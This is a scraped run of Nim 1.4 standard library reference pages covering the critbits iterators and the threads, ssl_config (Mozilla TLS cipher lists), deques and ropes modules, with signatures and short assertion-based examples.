[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L518) ``` func toCritBitTree[A, B](pairs: openArray[(A, B)]): CritBitTree[A] ``` Creates a new `CritBitTree` that contains the given `pairs`. **Example:** ``` doAssert {"a": "0", "b": "1", "c": "2"}.toCritBitTree is CritBitTree[string] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L534) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L534) ``` func toCritBitTree[T](items: openArray[T]): CritBitTree[void] ``` Creates a new `CritBitTree` that contains the given `items`. **Example:** ``` doAssert ["a", "b", "c"].toCritBitTree is CritBitTree[void] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L540) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L540) Iterators --------- ``` iterator keys[T](c: CritBitTree[T]): string ``` Yields all keys in lexicographical order. **Example:** ``` var c: CritBitTree[int] c["key1"] = 1 c["key2"] = 2 var keys: seq[string] for key in c.keys: keys.add(key) doAssert keys == @["key1", "key2"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L320) ``` iterator values[T](c: CritBitTree[T]): T ``` Yields all values of `c` in the lexicographical order of the corresponding keys. **Example:** ``` var c: CritBitTree[int] c["key1"] = 1 c["key2"] = 2 var vals: seq[int] for val in c.values: vals.add(val) doAssert vals == @[1, 2] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L333) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L333) ``` iterator mvalues[T](c: var CritBitTree[T]): var T ``` Yields all values of `c` in the lexicographical order of the corresponding keys. The values can be modified. See also: * [values iterator](#values.i,CritBitTree%5BT%5D) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L347) ``` iterator items[T](c: CritBitTree[T]): string ``` Yields all keys in lexicographical order. **Example:** ``` var c: CritBitTree[int] c["key1"] = 1 c["key2"] = 2 var keys: seq[string] for key in c.items: keys.add(key) doAssert keys == @["key1", "key2"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L355) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L355) ``` iterator pairs[T](c: CritBitTree[T]): tuple[key: string, val: T] ``` Yields all (key, value)-pairs of `c`. **Example:** ``` var c: CritBitTree[int] c["key1"] = 1 c["key2"] = 2 var ps: seq[tuple[key: string, val: int]] for p in c.pairs: ps.add(p) doAssert ps == @[(key: "key1", val: 1), (key: "key2", val: 2)] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L368) ``` iterator mpairs[T](c: var CritBitTree[T]): tuple[key: string, val: var T] ``` Yields all (key, value)-pairs of `c`. The yielded values can be modified. See also: * [pairs iterator](#pairs.i,CritBitTree%5BT%5D) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L381) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L381) ``` iterator itemsWithPrefix[T](c: CritBitTree[T]; prefix: string; longestMatch = false): string ``` Yields all keys starting with `prefix`. If `longestMatch` is true, the longest match is returned, it doesn't have to be a complete match then. **Example:** ``` var c: CritBitTree[int] c["key1"] = 42 c["key2"] = 43 var keys: seq[string] for key in c.itemsWithPrefix("key"): keys.add(key) doAssert keys == @["key1", "key2"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L404) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L404) ``` iterator keysWithPrefix[T](c: CritBitTree[T]; prefix: string; longestMatch = false): string ``` Yields all keys starting with `prefix`. **Example:** ``` var c: CritBitTree[int] c["key1"] = 42 c["key2"] = 43 var keys: seq[string] for key in c.keysWithPrefix("key"): keys.add(key) doAssert keys == @["key1", "key2"] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L420) ``` iterator valuesWithPrefix[T](c: CritBitTree[T]; prefix: string; longestMatch = false): T ``` Yields all values of `c` starting with `prefix` of the corresponding keys. **Example:** ``` var c: CritBitTree[int] c["key1"] = 42 c["key2"] = 43 var vals: seq[int] for val in c.valuesWithPrefix("key"): vals.add(val) doAssert vals == @[42, 43] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L435) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L435) ``` iterator mvaluesWithPrefix[T](c: var CritBitTree[T]; prefix: string; longestMatch = false): var T ``` Yields all values of `c` starting with `prefix` of the corresponding keys. The values can be modified. See also: * [valuesWithPrefix iterator](#valuesWithPrefix.i,CritBitTree%5BT%5D,string) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L451) ``` iterator pairsWithPrefix[T](c: CritBitTree[T]; prefix: string; longestMatch = false): tuple[key: string, val: T] ``` Yields all (key, value)-pairs of `c` starting with `prefix`. **Example:** ``` var c: CritBitTree[int] c["key1"] = 42 c["key2"] = 43 var ps: seq[tuple[key: string, val: int]] for p in c.pairsWithPrefix("key"): ps.add(p) doAssert ps == @[(key: "key1", val: 42), (key: "key2", val: 43)] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L461) ``` iterator mpairsWithPrefix[T](c: var CritBitTree[T]; prefix: string; longestMatch = false): tuple[key: string, val: var T] ``` Yields all (key, value)-pairs of `c` starting with `prefix`. The yielded values can be modified. See also: * [pairsWithPrefix iterator](#pairsWithPrefix.i,CritBitTree%5BT%5D,string) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/critbits.nim#L477) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/critbits.nim#L477) nim threads threads ======= Thread support for Nim. **Note**: This is part of the system module. Do not import it directly. To activate thread support you need to compile with the `--threads:on` command line switch. Nim's memory model for threads is quite different from other common programming languages (C, Pascal): Each thread has its own (garbage collected) heap and sharing of memory is restricted. This helps to prevent race conditions and improves efficiency. See [the manual for details of this memory model](manual#threads). Examples -------- ``` import locks var thr: array[0..4, Thread[tuple[a,b: int]]] L: Lock proc threadFunc(interval: tuple[a,b: int]) {.thread.} = for i in interval.a..interval.b: acquire(L) # lock stdout echo i release(L) initLock(L) for i in 0..high(thr): createThread(thr[i], threadFunc, (i*10, i*10+5)) joinThreads(thr) deinitLock(L) ``` Types ----- ``` Thread*[TArg] = object core: PGcThread sys: SysThread when TArg is void: dataFn: proc () {...}{.nimcall, gcsafe.} else: dataFn: proc (m: TArg) {...}{.nimcall, gcsafe.} data: TArg ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L84) Procs ----- ``` proc onThreadDestruction*(handler: proc () {...}{.closure, gcsafe, raises: [].}) ``` Registers a *thread local* handler that is called at the thread's destruction. A thread is destructed when the `.thread` proc returns normally or when it raises an exception. Note that unhandled exceptions in a thread nevertheless cause the whole process to die. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L96) ``` proc running*[TArg](t: Thread[TArg]): bool {...}{.inline.} ``` Returns true if `t` is running. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L198) ``` proc handle*[TArg](t: Thread[TArg]): SysThread {...}{.inline.} ``` Returns the thread handle of `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L202) ``` proc joinThread*[TArg](t: Thread[TArg]) {...}{.inline.} ``` Waits for the thread `t` to finish. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L209) ``` proc joinThreads*[TArg](t: varargs[Thread[TArg]]) ``` Waits for every thread in `t` to finish. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L213) ``` proc createThread*[TArg](t: var Thread[TArg]; tp: proc (arg: TArg) {...}{.thread, nimcall.}; param: TArg) ``` Creates a new thread `t` and starts its execution. Entry point is the proc `tp`. `param` is passed to `tp`. `TArg` can be `void` if you don't need to pass any data to the thread. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L258) ``` proc pinToCpu*[Arg](t: var Thread[Arg]; cpu: Natural) ``` Pins a thread to a CPU. In other words sets a thread's affinity. If you don't know what this means, you shouldn't use this proc. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L277) ``` proc createThread*(t: var Thread[void]; tp: proc () {...}{.thread, nimcall.}) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L341) ``` proc getThreadId*(): int ``` Gets the ID of the currently running thread. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/threads.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/threads.nim#L348)
programming_docs
nim ssl_config ssl\_config =========== This module contains SSL configuration parameters obtained from [Mozilla OpSec](https://wiki.mozilla.org/Security/Server_Side_TLS). The configuration file used to generate this module: <https://ssl-config.mozilla.org/guidelines/5.4.json> Consts ------ ``` CiphersModern = "TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256" ``` An OpenSSL-compatible list of secure ciphers for `modern` compatibility per Mozilla's recommendations. Oldest clients supported by this list: * Firefox 63 * Android 10.0 * Chrome 70 * Edge 75 * Java 11 * OpenSSL 1.1.1 * Opera 57 * Safari 12.1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ssl_config.nim#L8) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ssl_config.nim#L8) ``` CiphersIntermediate = "TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384" ``` An OpenSSL-compatible list of secure ciphers for `intermediate` compatibility per Mozilla's recommendations. Oldest clients supported by this list: * Firefox 27 * Android 4.4.2 * Chrome 31 * Edge * IE 11 on Windows 7 * Java 8u31 * OpenSSL 1.0.1 * Opera 20 * Safari 9 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ssl_config.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ssl_config.nim#L22) ``` CiphersOld = "TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA256:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA" ``` An OpenSSL-compatible list of secure ciphers for `old` compatibility per Mozilla's recommendations. Oldest clients supported by this list: * Firefox 1 * Android 2.3 * Chrome 1 * Edge 12 * IE8 on Windows XP * Java 6 * OpenSSL 0.9.8 * Opera 5 * Safari 1 [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ssl_config.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ssl_config.nim#L37) nim deques deques ====== Implementation of a deque (double-ended queue). The underlying implementation uses a `seq`. None of the procs that get an individual value from the deque can be used on an empty deque. If compiled with `boundChecks` option, those procs will raise an `IndexDefect` on such access. This should not be relied upon, as `-d:danger` or `--checks:off` will disable those checks and may return garbage or crash the program. As such, a check to see if the deque is empty is needed before any access, unless your program logic guarantees it indirectly. ``` import deques var a = initDeque[int]() doAssertRaises(IndexDefect, echo a[0]) for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" assert a.peekFirst == 10 assert a.peekLast == 50 assert len(a) == 5 assert a.popFirst == 10 assert a.popLast == 50 assert len(a) == 3 a.addFirst(11) a.addFirst(22) a.addFirst(33) assert $a == "[33, 22, 11, 20, 30, 40]" a.shrink(fromFirst = 1, fromLast = 2) assert $a == "[22, 11, 20]" ``` **See also:** * [lists module](lists) for singly and doubly linked lists and rings * [channels module](channels) for inter-thread communication Imports ------- <since>, <math> Types ----- ``` Deque[T] = object data: seq[T] head, tail, count, mask: int ``` A double-ended queue backed with a ringed seq buffer. To initialize an empty deque use [initDeque proc](#initDeque,int). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L59) Consts ------ ``` defaultInitialSize = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L67) Procs ----- ``` proc initDeque[T](initialSize: int = 4): Deque[T] ``` Creates a new empty deque. Optionally, the initial capacity can be reserved via `initialSize` as a performance optimization. The length of a newly created deque will still be 0. See also: * [toDeque proc](#toDeque,openArray%5BT%5D) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L79) ``` proc toDeque[T](x: openArray[T]): Deque[T] ``` Creates a new deque that contains the elements of `x` (in the same order). See also: * [initDeque proc](#initDeque,int) **Example:** ``` var a = toDeque([7, 8, 9]) assert len(a) == 3 assert a.popFirst == 7 assert len(a) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L90) ``` proc len[T](deq: Deque[T]): int {...}{.inline.} ``` Returns the number of elements of `deq`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L105) ``` proc `[]`[T](deq: Deque[T]; i: Natural): T {...}{.inline.} ``` Accesses the i-th element of `deq`. **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert a[0] == 10 assert a[3] == 40 doAssertRaises(IndexDefect, echo a[8]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L125) ``` proc `[]`[T](deq: var Deque[T]; i: Natural): var T {...}{.inline.} ``` Accesses the i-th element of `deq` and return a mutable reference to it. **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert a[0] == 10 assert a[3] == 40 doAssertRaises(IndexDefect, echo a[8]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L138) ``` proc `[]=`[T](deq: var Deque[T]; i: Natural; val: T) {...}{.inline.} ``` Changes the i-th element of `deq`. **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) a[0] = 99 a[3] = 66 assert $a == "[99, 20, 30, 66, 50]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L152) ``` proc `[]`[T](deq: Deque[T]; i: BackwardsIndex): T {...}{.inline.} ``` Accesses the backwards indexed i-th element. `deq[^1]` is the last element. **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert a[^1] == 50 assert a[^4] == 20 doAssertRaises(IndexDefect, echo a[^9]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L166) ``` proc `[]`[T](deq: var Deque[T]; i: BackwardsIndex): var T {...}{.inline.} ``` Accesses the backwards indexed i-th element. `deq[^1]` is the last element. **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert a[^1] == 50 assert a[^4] == 20 doAssertRaises(IndexDefect, echo a[^9]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L181) ``` proc `[]=`[T](deq: var Deque[T]; i: BackwardsIndex; x: T) {...}{.inline.} ``` Changes the backwards indexed i-th element. `deq[^1]` is the last element. **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) a[^1] = 99 a[^3] = 77 assert $a == "[10, 20, 77, 40, 99]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L196) ``` proc contains[T](deq: Deque[T]; item: T): bool {...}{.inline.} ``` Returns true if `item` is in `deq` or false if not found. Usually used via the `in` operator. It is the equivalent of `deq.find(item) >= 0`. ``` if x in q: assert q.contains(x) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L272) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L272) ``` proc addFirst[T](deq: var Deque[T]; item: T) ``` Adds an `item` to the beginning of the `deq`. See also: * [addLast proc](#addLast,Deque%5BT%5D,T) * [peekFirst proc](#peekFirst,Deque%5BT%5D) * [peekLast proc](#peekLast,Deque%5BT%5D) * [popFirst proc](#popFirst,Deque%5BT%5D) * [popLast proc](#popLast,Deque%5BT%5D) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addFirst(10*i) assert $a == "[50, 40, 30, 20, 10]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L300) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L300) ``` proc addLast[T](deq: var Deque[T]; item: T) ``` Adds an `item` to the end of the `deq`. See also: * [addFirst proc](#addFirst,Deque%5BT%5D,T) * [peekFirst proc](#peekFirst,Deque%5BT%5D) * [peekLast proc](#peekLast,Deque%5BT%5D) * [popFirst proc](#popFirst,Deque%5BT%5D) * [popLast proc](#popLast,Deque%5BT%5D) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L320) ``` proc peekFirst[T](deq: Deque[T]): T {...}{.inline.} ``` Returns the first element of `deq`, but does not remove it from the deque. See also: * [addFirst proc](#addFirst,Deque%5BT%5D,T) * [addLast proc](#addLast,Deque%5BT%5D,T) * [peekLast proc](#peekLast,Deque%5BT%5D) * [popFirst proc](#popFirst,Deque%5BT%5D) * [popLast proc](#popLast,Deque%5BT%5D) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" assert a.peekFirst == 10 assert len(a) == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L340) ``` proc peekLast[T](deq: Deque[T]): T {...}{.inline.} ``` Returns the last element of `deq`, but does not remove it from the deque. See also: * [addFirst proc](#addFirst,Deque%5BT%5D,T) * [addLast proc](#addLast,Deque%5BT%5D,T) * [peekFirst proc](#peekFirst,Deque%5BT%5D) * [popFirst proc](#popFirst,Deque%5BT%5D) * [popLast proc](#popLast,Deque%5BT%5D) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" assert a.peekLast == 50 assert len(a) == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L360) ``` proc peekFirst[T](deq: var Deque[T]): var T {...}{.inline.} ``` Returns the first element of `deq`, but does not remove it from the deque. See also: * [addFirst proc](#addFirst,Deque%5BT%5D,T) * [addLast proc](#addLast,Deque%5BT%5D,T) * [peekLast proc](#peekLast,Deque%5BT%5D) * [popFirst proc](#popFirst,Deque%5BT%5D) * [popLast proc](#popLast,Deque%5BT%5D) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" assert a.peekFirst == 10 assert len(a) == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L380) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L380) ``` proc peekLast[T](deq: var Deque[T]): var T {...}{.inline.} ``` Returns the last element of `deq`, but does not remove it from the deque. See also: * [addFirst proc](#addFirst,Deque%5BT%5D,T) * [addLast proc](#addLast,Deque%5BT%5D,T) * [peekFirst proc](#peekFirst,Deque%5BT%5D) * [popFirst proc](#popFirst,Deque%5BT%5D) * [popLast proc](#popLast,Deque%5BT%5D) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" assert a.peekLast == 50 assert len(a) == 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L400) ``` proc popFirst[T](deq: var Deque[T]): T {...}{.inline, discardable.} ``` Removes and returns the first element of the `deq`. See also: * [addFirst proc](#addFirst,Deque%5BT%5D,T) * [addLast proc](#addLast,Deque%5BT%5D,T) * [peekFirst proc](#peekFirst,Deque%5BT%5D) * [peekLast proc](#peekLast,Deque%5BT%5D) * [popLast proc](#popLast,Deque%5BT%5D) * [clear proc](#clear,Deque%5BT%5D) * [shrink proc](#shrink,Deque%5BT%5D,int,int) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" assert a.popFirst == 10 assert $a == "[20, 30, 40, 50]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L423) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L423) ``` proc popLast[T](deq: var Deque[T]): T {...}{.inline, discardable.} ``` Removes and returns the last element of the `deq`. See also: * [addFirst proc](#addFirst,Deque%5BT%5D,T) * [addLast proc](#addLast,Deque%5BT%5D,T) * [peekFirst proc](#peekFirst,Deque%5BT%5D) * [peekLast proc](#peekLast,Deque%5BT%5D) * [popFirst proc](#popFirst,Deque%5BT%5D) * [clear proc](#clear,Deque%5BT%5D) * [shrink proc](#shrink,Deque%5BT%5D,int,int) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" assert a.popLast == 50 assert $a == "[10, 20, 30, 40]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L448) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L448) ``` proc clear[T](deq: var Deque[T]) {...}{.inline.} ``` Resets the deque so that it is empty. See also: * [clear proc](#clear,Deque%5BT%5D) * [shrink proc](#shrink,Deque%5BT%5D,int,int) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addFirst(10*i) assert $a == "[50, 40, 30, 20, 10]" clear(a) assert len(a) == 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L473) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L473) ``` proc shrink[T](deq: var Deque[T]; fromFirst = 0; fromLast = 0) ``` Removes `fromFirst` elements from the front of the deque and `fromLast` elements from the back. If the supplied number of elements exceeds the total number of elements in the deque, the deque will remain empty. See also: * [clear proc](#clear,Deque%5BT%5D) **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addFirst(10*i) assert $a == "[50, 40, 30, 20, 10]" a.shrink(fromFirst = 2, fromLast = 1) assert $a == "[30, 20]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L491) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L491) ``` proc `$`[T](deq: Deque[T]): string ``` Turns a deque into its string representation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L522) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L522) Iterators --------- ``` iterator items[T](deq: Deque[T]): T ``` Yields every element of `deq`. **Examples:** ``` var a = initDeque[int]() for i in 1 .. 3: a.addLast(10*i) for x in a: # the same as: for x in items(a): echo x # 10 # 20 # 30 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L212) ``` iterator mitems[T](deq: var Deque[T]): var T ``` Yields every element of `deq`, which can be modified. **Example:** ``` var a = initDeque[int]() for i in 1 .. 5: a.addLast(10*i) assert $a == "[10, 20, 30, 40, 50]" for x in mitems(a): x = 5*x - 1 assert $a == "[49, 99, 149, 199, 249]" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L234) ``` iterator pairs[T](deq: Deque[T]): tuple[key: int, val: T] ``` Yields every (position, value) of `deq`. **Examples:** ``` var a = initDeque[int]() for i in 1 .. 3: a.addLast(10*i) for k, v in pairs(a): echo "key: ", k, ", value: ", v # key: 0, value: 10 # key: 1, value: 20 # key: 2, value: 30 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/deques.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/deques.nim#L250) nim ropes ropes ===== This module contains support for a rope data type. Ropes can represent very long strings efficiently; especially concatenation is done in O(1) instead of O(n). They are essentially concatenation trees that are only flattened when converting to a native Nim string. The empty string is represented by `nil`. Ropes are immutable and subtrees can be shared without copying. Leaves can be cached for better memory efficiency at the cost of runtime efficiency. Imports ------- <streams> Types ----- ``` Rope = ref RopeObj ``` empty rope is represented by nil [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L32) Procs ----- ``` proc len(a: Rope): int {...}{.gcsafe, extern: "nro$1", raises: [], tags: [].} ``` The rope's length. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L46) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/ropes.nim#L46) ``` proc rope(s: string = ""): Rope {...}{.gcsafe, extern: "nro$1Str", raises: [], tags: [].} ``` Converts a string to a rope. **Example:** ``` var r = rope("I'm a rope") doAssert $r == "I'm a rope" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/ropes.nim#L128) 